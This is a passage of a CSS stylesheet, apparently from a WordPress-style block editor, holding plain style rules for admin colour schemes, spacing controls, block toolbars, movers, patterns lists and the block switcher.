  flex-direction:row;
  max-width:380px;
}

.reusable-blocks-menu-items__rename-hint-content{
  margin:12px 0 12px 12px;
}

.reusable-blocks-menu-items__rename-hint-dismiss{
  margin:4px 4px 4px 0;
}

.components-menu-group .reusable-blocks-menu-items__rename-hint{
  margin:0;
}

.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{
  height:40px;
}

.spacing-sizes-control .spacing-sizes-control__custom-value-input,.spacing-sizes-control .spacing-sizes-control__label{
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range,.spacing-sizes-control .spacing-sizes-control__range-control{
  align-items:center;
  display:flex;
  flex:1;
  height:40px;
  margin-bottom:0;
}
.spacing-sizes-control .spacing-sizes-control__custom-value-range>.components-base-control__field,.spacing-sizes-control .spacing-sizes-control__range-control>.components-base-control__field{
  flex:1;
}
.spacing-sizes-control .components-range-control__mark{
  background-color:#fff;
  height:4px;
  width:3px;
  z-index:1;
}
.spacing-sizes-control .components-range-control__marks{
  margin-top:17px;
}
.spacing-sizes-control .components-range-control__marks :first-child{
  display:none;
}
.spacing-sizes-control .components-range-control__thumb-wrapper{
  z-index:3;
}

.spacing-sizes-control__header{
  height:16px;
  margin-bottom:12px;
}

.spacing-sizes-control__dropdown{
  height:24px;
}

.spacing-sizes-control__custom-select-control,.spacing-sizes-control__custom-value-input{
  flex:1;
}

.spacing-sizes-control__custom-toggle,.spacing-sizes-control__icon{
  flex:0 0 auto;
}

.spacing-sizes-control__icon{
  margin-left:-4px;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:#9747ff}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-right:8px}.block-editor-autocompleters__link{white-space:nowrap}.block-editor-autocompleters__link .block-editor-block-icon{margin-right:8px}.block-editor-block-alignment-control__menu-group .components-menu-item__info{margin-top:0}.block-editor-block-bindings-toolbar-indicator{align-items:center;display:inline-flex;height:48px;padding:6px}.block-editor-block-bindings-toolbar-indicator svg g{stroke:var(--wp-bound-block-color);fill:#0000;stroke-width:1.5;stroke-linecap:round;stroke-linejoin:round}iframe[name=editor-canvas]{display:block;height:100%;width:100%}iframe[name=editor-canvas]:not(.has-editor-padding){background-color:#fff}iframe[name=editor-canvas].has-editor-padding{padding:24px 24px 0}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-inspector p:not(.components-base-control__help){margin-top:0}.block-editor-block-inspector h2,.block-editor-block-inspector h3{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.block-editor-block-inspector .components-base-control{margin-bottom:24px}.block-editor-block-inspector .components-base-control:last-child{margin-bottom:8px}.block-editor-block-inspector .components-focal-point-picker-control .components-base-control,.block-editor-block-inspector .components-query-controls .components-base-control,.block-editor-block-inspector .components-range-control .components-base-control{margin-bottom:0}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0;margin-top:-1px}.block-editor-block-inspector__no-block-tools,.block-editor-block-inspector__no-blocks{background:#fff;display:block;font-size:13px;padding:32px 16px;text-align:center}.block-editor-block-inspector__no-block-tools{border-top:1px solid #ddd}.block-editor-block-inspector__tab-item{flex:1 1 0px}.block-editor-block-list__insertion-point{bottom:0;left:0;position:absolute;right:0;top:0}.block-editor-block-list__insertion-point-indicator{background:var(--wp-admin-theme-color);border-radius:2px;opacity:0;position:absolute;transform-origin:center;will-change:transform,opacity}.block-editor-block-list__insertion-point.is-vertical>.block-editor-block-list__insertion-point-indicator{height:4px;top:calc(50% - 2px);width:100%}.block-editor-block-list__insertion-point.is-horizontal>.block-editor-block-list__insertion-point-indicator{bottom:0;left:calc(50% - 2px);top:0;width:4px}.block-editor-block-list__insertion-point-inserter{display:none;justify-content:center;left:calc(50% - 12px);position:absolute;top:calc(50% - 12px);will-change:transform}@media (min-width:480px){.block-editor-block-list__insertion-point-inserter{display:flex}}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div{pointer-events:none}.block-editor-block-list__block-side-inserter-popover .components-popover__content>div>*{pointer-events:all}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-block-list__empty-block-inserter .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon{background:var(--wp-admin-theme-color)}.block-editor-block-list__insertion-point-inserter .block-editor-inserter__toggle.components-button.has-icon:hover{background:#1e1e1e}.block-editor-block-list__block-selection-button{background-color:#1e1e1e;border-radius:2px;display:inline-flex;font-size:13px;height:48px;padding:0 12px;z-index:22}.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content{align-items:center;display:inline-flex;margin:auto}.block-editor-block-list__block-selection-button .block-editor-block-list__block-selection-button__content>.components-flex__item{margin-right:6px}.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle{cursor:grab;height:24px;margin-left:-2px;min-width:24px;padding:0}.block-editor-block-list__block-selection-button .components-button.has-icon.block-selection-button_drag-handle svg{min-height:18px;min-width:18px}.block-editor-block-list__block-selection-button .block-editor-block-icon{color:#fff;font-size:13px;height:48px}.block-editor-block-list__block-selection-button .components-button{color:#fff;display:flex;height:48px;min-width:36px}.block-editor-block-list__block-selection-button .components-button:focus{border:none;box-shadow:none}.block-editor-block-list__block-selection-button .components-button:active,.block-editor-block-list__block-selection-button .components-button[aria-disabled=true]:hover{color:#fff}.block-editor-block-list__block-selection-button .block-selection-button_select-button.components-button{padding:0}.block-editor-block-list__block-selection-button .block-editor-block-mover{background:unset;border:none}@keyframes hide-during-dragging{to{position:fixed;transform:translate(9999px,9999px)}}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-list__block-selection-button{margin-bottom:12px;margin-top:12px;pointer-events:all}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar{border:1px solid #1e1e1e;border-radius:2px;overflow:visible;position:static;width:auto}.components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-left:56px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-contextual-toolbar.has-parent{margin-left:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar{overflow:visible}.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar,.components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar .components-toolbar-group{border-right-color:#1e1e1e}.components-popover.block-editor-block-list__block-popover.is-insertion-point-visible{visibility:hidden}.is-dragging-components-draggable .components-popover.block-editor-block-list__block-popover{animation:hide-during-dragging 1ms linear forwards;opacity:0}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{left:-57px;position:absolute}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector:before{content:""}.components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{background-color:#fff;border:1px solid #1e1e1e;padding-left:6px;padding-right:6px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector .block-editor-block-parent-selector__button{padding-left:12px;padding-right:12px}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-parent-selector{left:auto;margin-left:-1px;position:relative}.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-mover__move-button-container,.show-icon-labels .components-popover.block-editor-block-list__block-popover .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-left:1px solid #1e1e1e}.is-dragging-components-draggable .components-tooltip{display:none}.block-editor-block-lock-modal{z-index:1000001}@media (min-width:600px){.block-editor-block-lock-modal .components-modal__frame{max-width:480px}}.block-editor-block-lock-modal__checklist{margin:0}.block-editor-block-lock-modal__options-title{padding:12px 0}.block-editor-block-lock-modal__options-title .components-checkbox-control__label{font-weight:600}.block-editor-block-lock-modal__checklist-item{align-items:center;display:flex;gap:12px;justify-content:space-between;margin-bottom:0;padding:12px 0 12px 32px}.block-editor-block-lock-modal__checklist-item .block-editor-block-lock-modal__lock-icon{flex-shrink:0;margin-right:12px;fill:#1e1e1e}.block-editor-block-lock-modal__checklist-item:hover{background-color:#f0f0f0;border-radius:2px}.block-editor-block-lock-modal__template-lock{border-top:1px solid #ddd;margin-top:16px;padding:12px 0}.block-editor-block-lock-modal__actions{margin-top:24px}.block-editor-block-lock-toolbar .components-button.has-icon{min-width:36px!important}.block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{margin-left:-6px!important}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-lock-toolbar{border-left:1px solid #1e1e1e;margin-left:6px!important;margin-right:-6px}.block-editor-block-breadcrumb{list-style:none;margin:0;padding:0}.block-editor-block-breadcrumb li{display:inline-flex;margin:0}.block-editor-block-breadcrumb li .block-editor-block-breadcrumb__separator{fill:currentColor;margin-left:-4px;margin-right:-4px;transform:scaleX(1)}.block-editor-block-breadcrumb li:last-child .block-editor-block-breadcrumb__separator{display:none}.block-editor-block-breadcrumb__button.components-button{height:24px;line-height:24px;padding:0;position:relative}.block-editor-block-breadcrumb__button.components-button:hover:not(:disabled){box-shadow:none;text-decoration:underline}.block-editor-block-breadcrumb__button.components-button:focus{box-shadow:none}.block-editor-block-breadcrumb__button.components-button:focus:before{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";display:block;left:1px;outline:2px solid #0000;position:absolute;right:1px;top:1px}.block-editor-block-breadcrumb__current{cursor:default}.block-editor-block-breadcrumb__button.components-button,.block-editor-block-breadcrumb__current{color:#1e1e1e;font-size:inherit;padding:0 8px}.block-editor-block-card{align-items:flex-start;color:#1e1e1e;display:flex;padding:16px}.block-editor-block-card__content{flex-grow:1}.block-editor-block-card__title{font-weight:500}.block-editor-block-card__title.block-editor-block-card__title{font-size:13px;line-height:1.4;margin:0;padding:3px 0}.block-editor-block-card__description{display:block;font-size:13px;line-height:1.4;margin-top:4px}.block-editor-block-card .block-editor-block-icon{flex:0 0 24px;height:24px;margin-left:0;margin-right:12px;width:24px}.block-editor-block-card.is-synced .block-editor-block-icon{color:var(--wp-block-synced-color)}.block-editor-block-compare{height:auto}.block-editor-block-compare__wrapper{display:flex;padding-bottom:16px}.block-editor-block-compare__wrapper>div{display:flex;flex-direction:column;justify-content:space-between;max-width:600px;min-width:200px;padding:0 16px 0 0;width:50%}.block-editor-block-compare__wrapper>div button{float:right}.block-editor-block-compare__wrapper .block-editor-block-compare__converted{border-left:1px solid #ddd;padding-left:15px;padding-right:0}.block-editor-block-compare__wrapper .block-editor-block-compare__html{border-bottom:1px solid #ddd;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:12px;line-height:1.7;padding-bottom:15px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span{background-color:#e6ffed;padding-bottom:3px;padding-top:3px}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__added{background-color:#acf2bd}.block-editor-block-compare__wrapper .block-editor-block-compare__html span.block-editor-block-compare__removed{background-color:#cc1818}.block-editor-block-compare__wrapper .block-editor-block-compare__preview{padding:16px 0 0}.block-editor-block-compare__wrapper .block-editor-block-compare__preview p{font-size:12px;margin-top:0}.block-editor-block-compare__wrapper .block-editor-block-compare__action{margin-top:16px}.block-editor-block-compare__wrapper .block-editor-block-compare__heading{font-size:1em;font-weight:400;margin:.67em 0}.block-editor-block-draggable-chip-wrapper{left:0;position:absolute;top:-24px}.block-editor-block-draggable-chip{background-color:#1e1e1e;border-radius:2px;box-shadow:0 6px 8px #0000004d;color:#fff;cursor:grabbing;display:inline-flex;height:48px;padding:0 13px;position:relative;-webkit-user-select:none;user-select:none;width:max-content}.block-editor-block-draggable-chip svg{fill:currentColor}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content{justify-content:flex-start;margin:auto}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item{margin-right:6px}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content>.components-flex__item:last-child{margin-right:0}.block-editor-block-draggable-chip .block-editor-block-draggable-chip__content .block-editor-block-icon svg{min-height:18px;min-width:18px}.block-editor-block-draggable-chip .components-flex__item{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{align-items:center;background-color:initial;bottom:0;display:flex;justify-content:center;left:0;opacity:0;position:absolute;right:0;top:0;transition:all .1s linear .1s}.block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled .block-editor-block-draggable-chip__disabled-icon{background:#0000 linear-gradient(-45deg,#0000 47.5%,#fff 0,#fff 52.5%,#0000 0);border-radius:50%;box-shadow:inset 0 0 0 1.5px #fff;display:inline-block;height:20px;padding:0;width:20px}.block-draggable-invalid-drag-token .block-editor-block-draggable-chip__disabled.block-editor-block-draggable-chip__disabled{background-color:#757575;box-shadow:0 4px 8px #0003;opacity:1}.block-editor-block-mover__move-button-container{border:none;display:flex;justify-content:center;padding:0}@media (min-width:600px){.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{flex-direction:column}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>*{height:20px;min-width:0!important;width:100%}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container>:before{height:calc(100% - 4px)}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{flex-shrink:0;top:3px}.block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{bottom:3px;flex-shrink:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{width:48px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container>*{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button{padding-left:0;padding-right:0}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-up-button svg{left:5px}.block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container .block-editor-block-mover-button.is-down-button svg{right:5px}}.block-editor-block-mover__drag-handle{cursor:grab}@media (min-width:600px){.block-editor-block-mover__drag-handle{min-width:0!important;overflow:hidden;width:24px}.block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon.has-icon{padding-left:0;padding-right:0}}.components-button.block-editor-block-mover-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards;border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-mover-button:before{animation-delay:0s;animation-duration:1ms}}.components-button.block-editor-block-mover-button:focus,.components-button.block-editor-block-mover-button:focus:before,.components-button.block-editor-block-mover-button:focus:enabled{box-shadow:none;outline:none}.components-button.block-editor-block-mover-button:focus-visible:before{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.block-editor-block-navigation__container{min-width:280px}.block-editor-block-navigation__label{color:#757575;font-size:11px;font-weight:500;margin:0 0 12px;text-transform:uppercase}.block-editor-block-patterns-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-block-patterns-list__list-item.is-placeholder{min-height:100px}.block-editor-block-patterns-list__list-item[draggable=true]{cursor:grab}.block-editor-block-patterns-list__item{height:100%;scroll-margin-bottom:56px;scroll-margin-top:24px}.block-editor-block-patterns-list__item .block-editor-block-preview__container{align-items:center;border-radius:4px;display:flex;overflow:hidden}.block-editor-block-patterns-list__item .block-editor-block-patterns-list__item-title{flex-grow:1;text-align:left}.block-editor-block-patterns-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px #1e1e1e}.block-editor-block-patterns-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) #1e1e1e;outline:2px solid #0000;outline-offset:2px}.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:focus .block-editor-block-preview__container,.block-editor-block-patterns-list__item.block-editor-block-patterns-list__list-item-synced:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-block-synced-color),0 15px 25px #00000012}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-details{align-items:center;margin-top:8px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper{height:24px;min-width:24px}.block-editor-block-patterns-list__item .block-editor-patterns__pattern-icon-wrapper .block-editor-patterns__pattern-icon{fill:var(--wp-block-synced-color)}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination{border-top:1px solid #2f2f2f;justify-content:center;padding:4px}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:auto}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:disabled{background:none;color:#949494}.block-editor-patterns__grid-pagination-wrapper .block-editor-patterns__grid-pagination .components-button.is-tertiary:hover:not(:disabled){background-color:#757575;color:#fff}.show-icon-labels .block-editor-patterns__grid-pagination,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-next,.show-icon-labels .block-editor-patterns__grid-pagination .block-editor-patterns__grid-pagination-previous{flex-direction:column}.show-icon-labels .block-editor-patterns__grid-pagination .components-button{width:auto}.show-icon-labels .block-editor-patterns__grid-pagination .components-button span{display:none}.show-icon-labels .block-editor-patterns__grid-pagination .components-button:before{content:attr(aria-label)}.components-popover.block-editor-block-popover{margin:0!important;pointer-events:none;position:absolute;z-index:31}.components-popover.block-editor-block-popover .components-popover__content{margin:0!important;min-width:auto;overflow-y:visible;width:max-content}.components-popover.block-editor-block-popover:not(.block-editor-block-popover__inbetween,.block-editor-block-popover__drop-zone,.block-editor-block-list__block-side-inserter-popover) .components-popover__content *{pointer-events:all}.components-popover.block-editor-block-popover__inbetween,.components-popover.block-editor-block-popover__inbetween *{pointer-events:none}.components-popover.block-editor-block-popover__inbetween .is-with-inserter,.components-popover.block-editor-block-popover__inbetween .is-with-inserter *{pointer-events:all}.components-popover.block-editor-block-popover__drop-zone *{pointer-events:none}.components-popover.block-editor-block-popover__drop-zone .block-editor-block-popover__drop-zone-foreground{background-color:var(--wp-admin-theme-color);border-radius:2px;inset:0;position:absolute}.block-editor-block-preview__container{overflow:hidden;position:relative;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content{left:0;margin:0;min-height:auto;overflow:visible;text-align:initial;top:0;transform-origin:top left;width:100%}.block-editor-block-preview__container .block-editor-block-preview__content .block-editor-block-list__insertion-point,.block-editor-block-preview__container .block-editor-block-preview__content .block-list-appender{display:none}.block-editor-block-preview__container:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:1}.block-editor-block-rename-modal{z-index:1000001}.block-editor-block-settings-menu__popover .components-dropdown-menu__menu{padding:0}.block-editor-block-styles+.default-style-picker__default-switcher{margin-top:16px}.block-editor-block-styles__preview-panel{display:none;z-index:90}@media (min-width:782px){.block-editor-block-styles__preview-panel{display:block}}.block-editor-block-styles__preview-panel .block-editor-block-icon{display:none}.block-editor-block-styles__variants{display:flex;flex-wrap:wrap;gap:8px;justify-content:space-between}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:inline-block;width:calc(50% - 4px)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:hover{box-shadow:inset 0 0 0 1px #ddd;color:var(--wp-admin-theme-color)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{background-color:#1e1e1e;box-shadow:none}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{color:#fff}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.block-editor-block-styles__variants .block-editor-block-styles__item-text{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{box-sizing:border-box!important}.block-editor-block-switcher{position:relative}.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{min-width:36px}.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{display:block;height:48px;margin:0}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.block-editor-block-switcher__toggle-text{margin-left:8px}.show-icon-labels .block-editor-block-switcher__toggle-text{display:none}.components-button.block-editor-block-switcher__no-switcher-icon{display:flex}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin-left:auto;margin-right:auto;min-width:24px!important}.components-button.block-editor-block-switcher__no-switcher-icon:disabled{opacity:1}.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:#1e1e1e}.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{align-items:center;display:flex;height:100%;margin:0 auto;min-width:100%;position:relative}.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{bottom:8px;left:8px;right:8px;top:8px}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{left:calc(100% + 16px);position:absolute;top:-12px}.block-editor-block-switcher__preview__popover{display:none;overflow:hidden}.block-editor-block-switcher__preview__popover.components-popover{margin-top:11px}@media (min-width:782px){.block-editor-block-switcher__preview__popover{display:block}}.block-editor-block-switcher__preview__popover .components-popover__content{background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:none;outline:none;overflow:auto;width:300px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{margin:16px 0;max-height:468px;overflow:hidden;padding:0 16px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview.is-pattern-list-preview{overflow:unset}.block-editor-block-switcher__preview-title{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;text-transform:uppercase}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{min-width:36px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{height:48px;width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-switcher__preview-patterns-container{padding-bottom:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{margin-top:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item 